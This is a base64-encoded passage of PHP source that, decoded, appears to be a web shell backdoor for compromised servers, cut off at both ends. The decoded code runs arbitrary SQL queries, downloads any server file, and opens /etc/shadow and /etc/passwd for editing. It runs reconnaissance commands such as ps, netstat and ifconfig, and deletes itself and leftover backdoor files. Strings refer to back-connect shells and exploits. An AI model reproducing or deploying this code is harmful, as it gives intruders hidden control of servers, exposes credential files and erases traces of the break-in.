Y29sdW1ucykuJykgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsKICAgIH0KICBicmVhazsKICBkZWZhdWx0OgogICAgIHJldHVybiAwOwogIGJyZWFrOwogICAgfQogICByZXR1cm4gMTsgCiAgfQogZnVuY3Rpb24gY2xvc2UoKQogIHsgCiAgIHN3aXRjaCgkdGhpcy0+ZGIpCiAgICB7CiAgY2FzZSAnTXlTUUwnOiAKICAgICBAbXlzcWxfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pOyAKICBicmVhazsKICBjYXNlICdNU1NRTCc6CiAgICAgQG1zc3FsX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsKICBicmVhazsKICBjYXNlICdQb3N0Z3JlU1FMJzoKICAgICBAcGdfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pOwogIGJyZWFrOwogIGNhc2UgJ09yYWNsZSc6CiAgICAgQG9jaV9jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7CiAgYnJlYWs7CiAgY2FzZSAnTXlTUUxpJzoKICAgICBAbXlzcWxpX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsgCiAgYnJlYWs7CiAgY2FzZSAnbVNRTCc6CiAgICAgQG1zcWxfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pOyAKICBicmVhazsKICBjYXNlICdTUUxpdGUnOgogICAgIEBzcWxpdGVfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pOyAKICBicmVhazsKICAgIH0KICB9CiBmdW5jdGlvbiBhZmZlY3RlZF9yb3dzKCkKICB7IAogICBzd2l0Y2goJHRoaXMtPmRiKQogICAgewogIGNhc2UgJ015U1FMJzoKICAgcmV0dXJuIEBteXNxbF9hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOyAKICBicmVhazsKICBjYXNlICdNU1NRTCc6CiAgICAgcmV0dXJuIEBtc3NxbF9hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOwogIGJyZWFrOwogIGNhc2UgJ1Bvc3RncmVTUUwnOgogICAgIHJldHVybiBAcGdfYWZmZWN0ZWRfcm93cygkdGhpcy0+cmVzKTsKICBicmVhazsKICBjYXNlICdPcmFjbGUnOgogICAgIHJldHVybiBAb2Npcm93Y291bnQoJHRoaXMtPnJlcyk7CiAgYnJlYWs7CiAgY2FzZSAnTXlTUUxpJzoKICAgICByZXR1cm4gQG15c3FsaV9hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOyAKICBicmVhazsKICBjYXNlICdtU1FMJzoKICAgICByZXR1cm4gQG1zcWxfYWZmZWN0ZWRfcm93cygkdGhpcy0+cmVzKTsgCiAgYnJlYWs7CiAgY2FzZSAnU1FMaXRlJzoKICAgICByZXR1cm4gQHNxbGl0ZV9jaGFuZ2VzKCR0aGlzLT5yZXMpOwogIGJyZWFrOwogIGRlZmF1bHQ6CiAgICAgcmV0dXJuIDA7CiAgYnJlYWs7CiAgICB9CiAgfQogfSAKaWYoaXNzZXQoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09ImRvd25sb2FkX2ZpbGUiICYmICFlbXB0eSgkX1BPU1RbJ2RfbmFtZSddKSkKIHsKICBpZigkZmlsZT1tb3JlcmVhZCgkX1BPU1RbJ2RfbmFtZSddKSl7ICRmaWxlZHVtcCA9ICRmaWxlOyB9CiAgZWxzZSBpZiAoJGZpbGU9cmVhZHpsaWIoJF9QT1NUWydkX25hbWUnXSkpIHsgJGZpbGVkdW1wID0gJGZpbGU7IH0gZWxzZSB7IGVycigxLCRfUE9TVFsnZF9uYW1lJ10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9CiAgaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pKSAKICAgewogICAgQG9iX2NsZWFuKCk7CiAgICAkZmlsZW5hbWUgPSBAYmFzZW5hbWUoJF9QT1NUWydkX25hbWUnXSk7CiAgICAkY29udGVudF9lbmNvZGluZz0kbWltZV90eXBlPScnOwogICAgY29tcHJlc3MoJGZpbGVuYW1lLCRmaWxlZHVtcCwkX1BPU1RbJ2NvbXByZXNzJ10pOwogICAgaWYgKCFlbXB0eSgkY29udGVudF9lbmNvZGluZykpIHsgaGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiAnIC4gJGNvbnRlbnRfZW5jb2RpbmcpOyB9CiAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogIi4kbWltZV90eXBlKTsKICAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmaWxlbmFtZS4iXCI7Iik7ICAgCiAgICBlY2hvICRmaWxlZHVtcDsKICAgIGV4aXQoKTsKICAgfQogfQppZihpc3NldCgkX0dFVFsnMSddKSkgeyBlY2hvIEBwaHBpbmZvKCk7IGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIic+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsgZGllKCk7IH0KaWYgKGlzc2V0KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJkYl9xdWVyeSIpCiB7CiBlY2hvICRoZWFkOwogJHNxbCA9IG5ldyBteV9zcWwoKTsKICRzcWwtPmRiICAgPSAkX1BPU1RbJ2RiJ107CiAkc3FsLT5ob3N0ID0gJF9QT1NUWydkYl9zZXJ2ZXInXTsKICRzcWwtPnBvcnQgPSAkX1BPU1RbJ2RiX3BvcnQnXTsKICRzcWwtPnVzZXIgPSAkX1BPU1RbJ215c3FsX2wnXTsKICRzcWwtPnBhc3MgPSAkX1BPU1RbJ215c3FsX3AnXTsKICRzcWwtPmJhc2UgPSAkX1BPU1RbJ215c3FsX2RiJ107CiAkcXVlcnlzID0gQGV4cGxvZGUoJzsnLCRfUE9TVFsnZGJfcXVlcnknXSk7CiBlY2hvICc8Ym9keSBiZ2NvbG9yPSNlNGUwZDg+JzsKIGlmKCEkc3FsLT5jb25uZWN0KCkpIGVjaG8gIjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48Yj5DYW4ndCBjb25uZWN0IHRvIFNRTCBzZXJ2ZXI8L2I+PC9mb250PjwvZGl2PiI7CiAgZWxzZSAKICAgewogICBpZighZW1wdHkoJHNxbC0+YmFzZSkmJiEkc3FsLT5zZWxlY3RfZGIoKSkgZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9cmVkPjxiPkNhbid0IHNlbGVjdCBkYXRhYmFzZTwvYj48L2ZvbnQ+PC9kaXY+IjsKICAgZWxzZQogICAgewogICAgZm9yZWFjaCgkcXVlcnlzIGFzICRudW09PiRxdWVyeSkgCiAgICAgewogICAgICBpZihzdHJsZW4oJHF1ZXJ5KT41KQogICAgICB7CiAgICAgIGVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPWdyZWVuPjxiPlF1ZXJ5IyIuJG51bS4iIDogIi5odG1sc3BlY2lhbGNoYXJzKCRxdWVyeSxFTlRfUVVPVEVTKS4iPC9iPjwvZm9udD48YnI+IjsKICAgICAgc3dpdGNoKCRzcWwtPnF1ZXJ5KCRxdWVyeSkpCiAgICAgICB7CiAgICAgICBjYXNlICcwJzoKICAgICAgIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+RXJyb3IgOiA8Yj4iLiRzcWwtPmVycm9yLiI8L2I+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPiI7CiAgICAgICBicmVhazsKICAgICAgIGNhc2UgJzEnOiAKICAgICAgIGlmKCRzcWwtPmdldF9yZXN1bHQoKSkKICAgICAgICB7CiAgICAgICBlY2hvICI8dGFibGUgd2lkdGg9MTAwJT4iOwogICAgICAgIGZvcmVhY2goJHNxbC0+Y29sdW1ucyBhcyAkaz0+JHYpICRzcWwtPmNvbHVtbnNbJGtdID0gaHRtbHNwZWNpYWxjaGFycygkdixFTlRfUVVPVEVTKTsKICAgICAgICRrZXlzID0gQGltcGxvZGUoIiZuYnNwOzwvYj48L2ZvbnQ+PC90ZD48dGQgYmdjb2xvcj0jY2NjY2NjPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiZuYnNwOyIsICRzcWwtPmNvbHVtbnMpOwogICAgICAgIGVjaG8gIjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiZuYnNwOyIuJGtleXMuIiZuYnNwOzwvYj48L2ZvbnQ+PC90ZD48L3RyPiI7CiAgICAgICAgZm9yKCRpPTA7JGk8JHNxbC0+bnVtX3Jvd3M7JGkrKykKICAgICAgICAgewogICAgICAgICBmb3JlYWNoKCRzcWwtPnJvd3NbJGldIGFzICRrPT4kdikgJHNxbC0+cm93c1skaV1bJGtdID0gaHRtbHNwZWNpYWxjaGFycygkdixFTlRfUVVPVEVTKTsKICAgICAgICAgJHZhbHVlcyA9IEBpbXBsb2RlKCImbmJzcDs8L2ZvbnQ+PC90ZD48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Jm5ic3A7Iiwkc3FsLT5yb3dzWyRpXSk7CiAgICAgICAgIGVjaG8gJzx0cj48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Jm5ic3A7Jy4kdmFsdWVzLicmbmJzcDs8L2ZvbnQ+PC90ZD48L3RyPic7CiAgICAgICAgIH0KICAgICAgICBlY2hvICI8L3RhYmxlPiI7IAogICAgICAgIH0KICAgICAgIGJyZWFrOwogICAgICAgY2FzZSAnMic6CiAgICAgICAkYXIgPSAkc3FsLT5hZmZlY3RlZF9yb3dzKCk/KCRzcWwtPmFmZmVjdGVkX3Jvd3MoKSk6KCcwJyk7IAogICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj5hZmZlY3RlZCByb3dzIDogPGI+Ii4kYXIuIjwvYj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+PGJyPiI7CiAgICAgICBicmVhazsgCiAgICAgICB9CiAgICAgIH0KICAgICB9CiAgICB9CiAgIH0gICAKIGVjaG8gIjxicj48Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+IjsKIGVjaG8gaW4oJ2hpZGRlbicsJ2RiJywwLCRfUE9TVFsnZGInXSk7CiBlY2hvIGluKCdoaWRkZW4nLCdkYl9zZXJ2ZXInLDAsJF9QT1NUWydkYl9zZXJ2ZXInXSk7CiBlY2hvIGluKCdoaWRkZW4nLCdkYl9wb3J0JywwLCRfUE9TVFsnZGJfcG9ydCddKTsKIGVjaG8gaW4oJ2hpZGRlbicsJ215c3FsX2wnLDAsJF9QT1NUWydteXNxbF9sJ10pOwogZWNobyBpbignaGlkZGVuJywnbXlzcWxfcCcsMCwkX1BPU1RbJ215c3FsX3AnXSk7CiBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9kYicsMCwkX1BPU1RbJ215c3FsX2RiJ10pOwogZWNobyBpbignaGlkZGVuJywnY21kJywwLCdkYl9xdWVyeScpOwogZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+IjsKIGVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPkJhc2U6IDwvYj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bXlzcWxfZGIgdmFsdWU9XCIiLiRzcWwtPmJhc2UuIlwiPjwvZm9udD48YnI+IjsKIGVjaG8gIjx0ZXh0YXJlYSBjb2xzPTY1IHJvd3M9MTAgbmFtZT1kYl9xdWVyeT4iLighZW1wdHkoJF9QT1NUWydkYl9xdWVyeSddKT8oJF9QT1NUWydkYl9xdWVyeSddKTooIlNIT1cgREFUQUJBU0VTO1xuU0VMRUNUICogRlJPTSB1c2VyOyIpKS4iPC90ZXh0YXJlYT48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiIFJ1biBTUUwgcXVlcnkgXCI+PC9kaXY+PGJyPjxicj4iOyAKIGVjaG8gIjwvZm9ybT4iOwogZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iJz5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOyBkaWUoKTsKIH0KaWYoaXNzZXQoJF9HRVRbJzEyJ10pKQogewogICBAdW5saW5rKF9fRklMRV9fKTsKIH0KaWYoaXNzZXQoJF9HRVRbJzExJ10pKQogewogICBAdW5saW5rKCR0ZW1wZGlyLidiZHBsJyk7CiAgIEB1bmxpbmsoJHRlbXBkaXIuJ2JhY2snKTsKICAgQHVubGluaygkdGVtcGRpci4nYmQnKTsKICAgQHVubGluaygkdGVtcGRpci4nYmQuYycpOwogICBAdW5saW5rKCR0ZW1wZGlyLidkcCcpOwogICBAdW5saW5rKCR0ZW1wZGlyLidkcGMnKTsKICAgQHVubGluaygkdGVtcGRpci4nZHBjLmMnKTsKICAgQHVubGluaygkdGVtcGRpci4ncHJ4cGwnKTsKICAgQHVubGluaygkdGVtcGRpci4nZ3JlcC50eHQnKTsKIH0KaWYoaXNzZXQoJF9HRVRbJzInXSkpCnsKZWNobyAkaGVhZDsKZnVuY3Rpb24gVV92YWx1ZSgkdmFsdWUpCiB7CiBpZiAoJHZhbHVlID09ICcnKSByZXR1cm4gJzxpPm5vIHZhbHVlPC9pPic7CiBpZiAoQGlzX2Jvb2woJHZhbHVlKSkgcmV0dXJuICR2YWx1ZSA/ICdUUlVFJyA6ICdGQUxTRSc7CiBpZiAoJHZhbHVlID09PSBudWxsKSByZXR1cm4gJ05VTEwnOwogaWYgKEBpc19vYmplY3QoJHZhbHVlKSkgJHZhbHVlID0gKGFycmF5KSAkdmFsdWU7CiBpZiAoQGlzX2FycmF5KCR2YWx1ZSkpCiB7CiBAb2Jfc3RhcnQoKTsKIHByaW50X3IoJHZhbHVlKTsKICR2YWx1ZSA9IEBvYl9nZXRfY29udGVudHMoKTsKIEBvYl9lbmRfY2xlYW4oKTsKIH0KIHJldHVybiBVX3dvcmR3cmFwKChzdHJpbmcpICR2YWx1ZSk7CiB9CmZ1bmN0aW9uIFVfd29yZHdyYXAoJHN0cikKIHsKICRzdHIgPSBAd29yZHdyYXAoQGh0bWxzcGVjaWFsY2hhcnMoJHN0ciksIDEwMCwgJzx3YnIgLz4nLCB0cnVlKTsKIHJldHVybiBAcHJlZ19yZXBsYWNlKCchKCZbXjtdKik8d2JyIC8+KFteO10qOykhJywgJyQxJDI8d2JyIC8+JywgJHN0cik7CiB9CmlmIChAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0X2FsbCcpKQogewogJHIgPSAnJzsKIGVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlPicsICc8dHI+PHRkIGJnY29sb3I9I2NjY2NjYz48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGRpdiBhbGlnbj1jZW50ZXI+PGI+RGlyZWN0aXZlPC9iPjwvZGl2PjwvZm9udD48L3RkPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9cmVkPjxkaXYgYWxpZ249Y2VudGVyPjxiPkxvY2FsIFZhbHVlPC9iPjwvZGl2PjwvZm9udD48L3RkPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9cmVkPjxkaXYgYWxpZ249Y2VudGVyPjxiPk1hc3RlciBWYWx1ZTwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPic7CiBmb3JlYWNoIChAaW5pX2dldF9hbGwoKSBhcyAka2V5PT4kdmFsdWUpCiAgewogICRyIC49ICc8dHI+PHRkPicud3MoMykuJzxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPicuJGtleS4nPC9iPjwvZm9udD48L3RkPjx0ZD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4nLlVfdmFsdWUoJHZhbHVlWydsb2NhbF92YWx1ZSddKS4nPC9iPjwvZGl2PjwvZm9udD48L3RkPjx0ZD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4nLlVfdmFsdWUoJHZhbHVlWydnbG9iYWxfdmFsdWUnXSkuJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPic7CiAgfQogZWNobyAkcjsKIGVjaG8gJzwvdGFibGU+JzsKIH0KZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iJz5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOwpkaWUoKTsKfQppZihpc3NldCgkX0dFVFsnMyddKSkKIHsKICAgZWNobyAkaGVhZDsKICAgZWNobyAnPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9cmVkPjxiPkNQVTwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+PHRhYmxlIHdpZHRoPTEwMCU+JzsKICAgJGNwdWYgPSBAZmlsZSgiY3B1aW5mbyIpOwogICBpZigkY3B1ZikKICAgIHsKICAgICAgJGMgPSBAc2l6ZW9mKCRjcHVmKTsKICAgICAgZm9yKCRpPTA7JGk8JGM7JGkrKykKICAgICAgICB7CiAgICAgICAgICAkaW5mbyA9IEBleHBsb2RlKCI6IiwkY3B1ZlskaV0pOwogICAgICAgICAgaWYoJGluZm9bMV09PSIiKXsgJGluZm9bMV09Ii0tLSI7IH0KICAgICAgICAgICRyIC49ICc8dHI+PHRkPicud3MoMykuJzxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPicudHJpbSgkaW5mb1swXSkuJzwvYj48L2ZvbnQ+PC90ZD48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy50cmltKCRpbmZvWzFdKS4nPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+JzsKICAgICAgICB9CiAgICAgIGVjaG8gJHI7CiAgICB9CiAgIGVsc2UKICAgIHsKICAgICAgZWNobyAnPHRyPjx0ZD4nLndzKDMpLic8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4gLS0tIDwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPic7CiAgICB9CiAgIGVjaG8gJzwvdGFibGU+JzsKICAgZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iJz5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOwogICBkaWUoKTsKIH0KaWYoaXNzZXQoJF9HRVRbJzQnXSkpCiB7CiAgIGVjaG8gJGhlYWQ7CiAgIGVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48Yj5NRU1PUlk8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPjx0YWJsZSB3aWR0aD0xMDAlPic7CiAgICRtZW1mID0gQGZpbGUoIm1lbWluZm8iKTsKICAgaWYoJG1lbWYpCiAgICB7CiAgICAgICRjID0gc2l6ZW9mKCRtZW1mKTsKICAgICAgZm9yKCRpPTA7JGk8JGM7JGkrKykKICAgICAgICB7CiAgICAgICAgICAkaW5mbyA9IGV4cGxvZGUoIjoiLCRtZW1mWyRpXSk7CiAgICAgICAgICBpZigkaW5mb1sxXT09IiIpeyAkaW5mb1sxXT0iLS0tIjsgfQogICAgICAgICAgJHIgLj0gJzx0cj48dGQ+Jy53cygzKS4nPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jy50cmltKCRpbmZvWzBdKS4nPC9iPjwvZm9udD48L3RkPjx0ZD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4nLnRyaW0oJGluZm9bMV0pLic8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj4nOwogICAgICAgIH0KICAgICAgZWNobyAkcjsKICAgIH0KICAgZWxzZQogICAgewogICAgICBlY2hvICc8dHI+PHRkPicud3MoMykuJzxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiAtLS0gPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+JzsKICAgIH0KICAgZWNobyAnPC90YWJsZT4nOwogICBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiInPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7CiAgIGRpZSgpOwogfQoKaWYoaXNzZXQoJF9HRVRbJzUnXSkpCiB7JF9QT1NUWydjbWQnXSA9ICdzeXN0ZW1pbmZvJzt9CmlmKGlzc2V0KCRfR0VUWyc2J10pKQogeyRfUE9TVFsnY21kJ109J2VkaXRfZmlsZSc7JF9QT1NUWydlX25hbWUnXSA9ICcvZXRjL3N5c2xvZy5jb25mJzt9CmlmKGlzc2V0KCRfR0VUWyc3J10pKQogeyRfUE9TVFsnY21kJ109J2VkaXRfZmlsZSc7JF9QT1NUWydlX25hbWUnXSA9ICcvZXRjL3Jlc29sdi5jb25mJzt9CmlmKGlzc2V0KCRfR0VUWyc4J10pKQogeyRfUE9TVFsnY21kJ109J2VkaXRfZmlsZSc7JF9QT1NUWydlX25hbWUnXSA9ICcvZXRjL2hvc3RzJzt9CmlmKGlzc2V0KCRfR0VUWyc5J10pKQogeyRfUE9TVFsnY21kJ109J2VkaXRfZmlsZSc7JF9QT1NUWydlX25hbWUnXSA9ICcvZXRjL3NoYWRvdyc7fQppZihpc3NldCgkX0dFVFsnMTAnXSkpCiB7JF9QT1NUWydjbWQnXT0nZWRpdF9maWxlJzskX1BPU1RbJ2VfbmFtZSddID0gJy9ldGMvcGFzc3dkJzt9CmlmKGlzc2V0KCRfR0VUWycxMyddKSkKIHskX1BPU1RbJ2NtZCddPSdjYXQgL3Byb2MvY3B1aW5mbyc7fQppZihpc3NldCgkX0dFVFsnMTQnXSkpCiB7JF9QT1NUWydjbWQnXT0nY2F0IC9wcm9jL3ZlcnNpb24nO30KaWYoaXNzZXQoJF9HRVRbJzE1J10pKQogeyRfUE9TVFsnY21kJ10gPSAnZnJlZSc7fQppZihpc3NldCgkX0dFVFsnMTYnXSkpCiB7JF9QT1NUWydjbWQnXSA9ICdkbWVzZyg4KSc7fQppZihpc3NldCgkX0dFVFsnMTcnXSkpCiB7JF9QT1NUWydjbWQnXSA9ICd2bXN0YXQnO30KaWYoaXNzZXQoJF9HRVRbJzE4J10pKQogeyRfUE9TVFsnY21kJ10gPSAnbHNwY2knO30KaWYoaXNzZXQoJF9HRVRbJzE5J10pKQogeyRfUE9TVFsnY21kJ10gPSAnbHNkZXYnO30KaWYoaXNzZXQoJF9HRVRbJzIwJ10pKQogeyRfUE9TVFsnY21kJ109J2NhdCAvcHJvYy9pbnRlcnJ1cHRzJzt9CmlmKGlzc2V0KCRfR0VUWycyMSddKSkKIHskX1BPU1RbJ2NtZCddID0gJ2NhdCAvZXRjLypyZWFsaXNlJzt9CmlmKGlzc2V0KCRfR0VUWycyMiddKSkKIHskX1BPU1RbJ2NtZCddPSdlZGl0X2ZpbGUnOyRfUE9TVFsnZV9uYW1lJ10gPSAnL2V0Yy9pc3N1ZS5uZXQnO30KaWYoaXNzZXQoJF9HRVRbJzIzJ10pKQogeyRfUE9TVFsnY21kJ10gPSAnbHNhdHRyIC12YSc7fQppZihpc3NldCgkX0dFVFsnMjQnXSkpCiB7JF9QT1NUWydjbWQnXSA9ICd3Jzt9CmlmKGlzc2V0KCRfR0VUWycyNSddKSkKIHskX1BPU1RbJ2NtZCddID0gJ3dobyc7fQppZihpc3NldCgkX0dFVFsnMjYnXSkpCiB7JF9QT1NUWydjbWQnXSA9ICd1cHRpbWUnO30KaWYoaXNzZXQoJF9HRVRbJzI3J10pKQogeyRfUE9TVFsnY21kJ10gPSAnbGFzdCAtbiAxMCc7fQppZihpc3NldCgkX0dFVFsnMjgnXSkpCiB7JF9QT1NUWydjbWQnXSA9ICdwcyAtYXV4Jzt9CmlmKGlzc2V0KCRfR0VUWycyOSddKSkKIHskX1BPU1RbJ2NtZCddID0gJ3NlcnZpY2UgLS1zdGF0dXMtYWxsJzt9CmlmKGlzc2V0KCRfR0VUWyczMCddKSkKIHskX1BPU1RbJ2NtZCddID0gJ2lmY29uZmlnJzt9CmlmKGlzc2V0KCRfR0VUWyczMSddKSkKIHskX1BPU1RbJ2NtZCddID0gJ25ldHN0YXQgLWEnO30KaWYoaXNzZXQoJF9HRVRbJzMyJ10pKQogeyRfUE9TVFsnY21kJ109J2VkaXRfZmlsZSc7JF9QT1NUWydlX25hbWUnXSA9ICcvZXRjL2ZzdGFiJzt9CmlmKGlzc2V0KCRfR0VUWyczMyddKSkKIHskX1BPU1RbJ2NtZCddID0gJ2ZkaXNrIC1sJzt9CmlmKGlzc2V0KCRfR0VUWyczNCddKSkKIHskX1BPU1RbJ2NtZCddID0gJ2RmIC1oJzt9CgojaWYoaXNzZXQoJF9HRVRbJyddKSkKIyB7JF9QT1NUWydjbWQnXSA9ICcnO30KCiRsYW5nPWFycmF5KAoncnVfYnV0dDEnID0+Jz8/Pz8/Pz8/PycsCidydV9idXR0MicgPT4nPz8/Pz8/Pz8/JywKJ3J1X2J1dHQzJyA9Pic/Pz8/Pz8/JywKJ3J1X2J1dHQ0JyA9Pic/Pz8/Pz8/Pz8nLAoncnVfYnV0dDUnID0+Jz8/Pz8/Pz8/PycsCidydV9idXR0NicgPT4nPz8/Pz8/PycsCidydV9idXR0NycgPT4nPz8/Pz8/PycsCidydV9idXR0OCcgPT4nPz8/Pz8/Pz8/JywKJ3J1X2J1dHQ5JyA9Pic/Pz8/JywKJ3J1X2J1dHQxMCc9Pic/Pz8/Pz8/Pz8nLAoncnVfYnV0dDExJz0+Jz8/Pz8/Pz8/Pz8/Pz8nLAoncnVfYnV0dDEyJz0+Jz8/Pz8/JywKJ3J1X2J1dHQxMyc9Pic/Pz8/Pz8/Lz8/Pz8/Pz8nLAoncnVfYnV0dDE0Jz0+Jz8/Pz8/Pz8nLAoncnVfYnV0dDE1Jz0+Jz8/Pz8/Pz8/PycsCidydV90ZXh0MScgPT4nPz8/Pz8/Pz8/Pz8gPz8/Pz8/PycsCidydV90ZXh0MicgPT4nPz8/Pz8/Pz8/PyA/Pz8/Pz8gPz8gPz8/Pz8/PycsCidydV90ZXh0MycgPT4nPz8/Pz8/Pz8/ID8/Pz8/Pz8nLAoncnVfdGV4dDQnID0+Jz8/Pz8/Pz8gPz8/Pz8/Pz8/PycsCidydV90ZXh0NScgPT4nPz8/Pz8/Pz8gPz8/Pz8/ID8/ID8/Pz8/PycsCidydV90ZXh0NicgPT4nPz8/Pz8/Pz8/ID8/Pz8nLAoncnVfdGV4dDcnID0+Jz8/Pz8/PycsCidydV90ZXh0OCcgPT4nPz8/Pz8/Pz8gPz8/Pz8nLAoncnVfdGV4dDknID0+Jz8/Pz8/Pz8/ID8/Pz8/ID8gPz8/Pz8/Pz8gPz8/ID8gL2Jpbi9iYXNoJywKJ3J1X3RleHQxMCc9Pic/Pz8/Pz8/ID8/Pz8nLAoncnVfdGV4dDExJz0+Jz8/Pz8/PyA/Pz8gPz8/Pz8/PycsCidydV90ZXh0MTInPT4nYmFjay1jb25uZWN0JywKJ3J1X3RleHQxMyc9PidJUC0/Pz8/PycsCidydV90ZXh0MTQnPT4nPz8/PycsCidydV90ZXh0MTUnPT4nPz8/Pz8/Pz8gPz8/Pz8/ID8gPz8/Pz8/Pz8/PyA/Pz8/Pz8/JywKJ3J1X3RleHQxNic9Pic/Pz8/Pz8/Pz8/Pz8nLAoncnVfdGV4dDE3Jz0+Jz8/Pz8/Pz8/PyA/Pz8/JywKJ3J1X3RleHQxOCc9Pic/Pz8/Pz8/Pz8gPz8/PycsCidydV90ZXh0MTknPT4nRXhwbG9pdHMnLAoncnVfdGV4dDIwJz0+Jz8/Pz8/Pz8/Pz8/PycsCidydV90ZXh0M